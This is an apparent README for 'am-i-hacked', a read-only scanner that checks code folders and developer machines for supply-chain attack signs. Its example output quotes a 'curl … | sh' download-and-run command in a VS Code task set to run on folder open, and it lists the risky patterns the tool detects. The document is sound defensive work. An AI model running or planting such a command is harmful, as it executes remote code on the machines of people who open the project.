am-i-hacked

am-i-hacked is a command-line scanner that checks the code you are about to run, and the machine you run it on, for signs of a supply-chain or dev-environment attack. npx am-i-hacked scans the current folder; --system also audits the machine. It is read-only, makes no network calls, needs no account, and exits 1 on findings. It is not antivirus: a clean result means no warning signs were found.

Who it is for

  • Developers about to run a repository they did not write: a take-home test, a contributor's branch, a template, code an AI agent produced.
  • Teams that want a pre-run gate in a dev script or CI, next to their advisory scanner.
  • Anyone who suspects their own development machine has been tampered with.

Install and run

npx am-i-hacked                # scan the folder you are in
npx am-i-hacked path/to/repo   # scan another folder
npx am-i-hacked --system       # also check this machine
npm install --save-dev am-i-hacked
ScanNeeds
Folderbash 4.2+, ripgrep (rg), and jq for package.json scripts
System (--system)bash 3.2+ and jq. Read-only; no ripgrep, root or sudo

macOS ships bash 3.2, so the folder scan re-runs itself under a newer bash when one is installed (Homebrew, mise, nix, asdf, MacPorts) and otherwise says what to install. Get the rest with brew install ripgrep jq or apt-get install ripgrep jq.

What the folder scan detects

  • Dynamic code execution, child processes, direct network module access and runtime global mutation.
  • Encoded or obfuscated payloads and unusually long lines.
  • package.json scripts using curl, wget, powershell, child_process, node -e, base64 or eval.
  • Editor config that runs code on folder open, and download-and-run commands in editor config.
  • Executable payloads disguised as asset files.
  • Clipboard, keystroke or screen capture paired with an exfiltration endpoint.
  • .env files in the git index.
  • Official Yarn releases, verified by SHA256.
  • The folder's AI-tool config: .claude/settings*.json and .mcp.json.
  • Python virtualenv integrity: files that no longer match their package RECORD hashes, files no package owns, and .pth or startup hooks that run code. Next release.

Languages read: JS/TS, Python, Rust, Ruby, C, C++ and C#. Dot-directories and tracked files that .gitignore matches are read; node_modules and .git are skipped. In bundled output (webpack, esbuild, ncc) only high-signal patterns are reported.

What the system scan detects

  • Login persistence: launchd on macOS; systemd user units and XDG autostart on Linux; the user crontab. On macOS, the code signature and Team ID of what each item launches.
  • Shell startup files: piped remote scripts, injected libraries, hijacked sudo or ssh, background launchers, redirected AI API base URLs, proxies and extra certificate authorities.
  • User-level and managed AI-tool config for Claude Code, Codex, Cursor, Gemini CLI, OpenCode and Kilo Code: permission bypass, plain-text keys, MCP servers that run unpinned code, and hooks.
  • Running processes that run capture scripts or scripts from staging areas.
  • "Dark corners" where tooling installs code outside any project, such as virtualenvs, package-manager caches and language bin folders. Next release.

Example output

am-i-hacked: FAILED — 2 findings across 1 file

  .vscode/tasks.json:7
    "command": "curl -fsSL https://example.test/setup.sh | sh",
    → Download-and-run command in editor config

  .vscode/tasks.json:8
    "runOptions": { "runOn": "folderOpen" }
    → Editor auto-run task

Dev scripts and CI

{ "scripts": { "dev": "am-i-hacked && next dev" } }
# GitHub Actions, ubuntu-latest (has bash, jq and npx, not ripgrep)
- run: sudo apt-get install -y ripgrep
- run: npx am-i-hacked@2

Flags

FlagMeaning
<dir>Directory to scan (default: the current directory)
host [dir]Check only a folder's AI-tool config
--system, --full-system-scanAlso audit the whole machine
--max-findings NMaximum findings printed (default 1000; the true total is always shown). Next release.
-v, --verboseSystem scan: also list informational items and every persistence entry with its signer
-h, --helpShow usage

Exit codes

0 nothing found; 1 findings to review (HIGH or MEDIUM) or a missing requirement; 2 usage error.

Suppressing a reviewed finding

Add am-i-hacked-ignore: <reason> on the flagged line or the line before it. The reason is required, and suppressed findings are listed on every run. The older am-i-compromised-ignore: spelling still works. For the system scan, add <finding id> | <reason> to ~/.config/am-i-hacked/host-allow.txt.

safe-pull

Installed with the package. It fetches, inspects incoming commits before anything is written to disk, then fast-forwards: rewritten upstream history, author and committer mismatch, editor auto-run tasks, download-and-run editor commands, disguised payloads, committed .env files. safe-pull --dry-run inspects only.

What it does not do

  • It is not antivirus and does not look up known viruses or malware hashes.
  • It does not check dependency versions against vulnerability advisories, and does not scan node_modules.
  • It does not judge plain-language instructions aimed at an AI agent.
  • System-wide Linux units and /etc/cron.* are not covered yet.
  • Some checks flag ordinary code, such as eval. A clean result does not prove the code or machine is safe.

Facts

  • Formerly published as am-i-compromised; that command name, and the short forms aih and aic, still work.
  • Commands installed: am-i-hacked, aih, am-i-compromised, aic, security-gate, scanner, safe-pull.
  • Plain bash, zero npm runtime dependencies, MIT licensed. Source: apps/am-i-hacked. Changelog: CHANGELOG.md.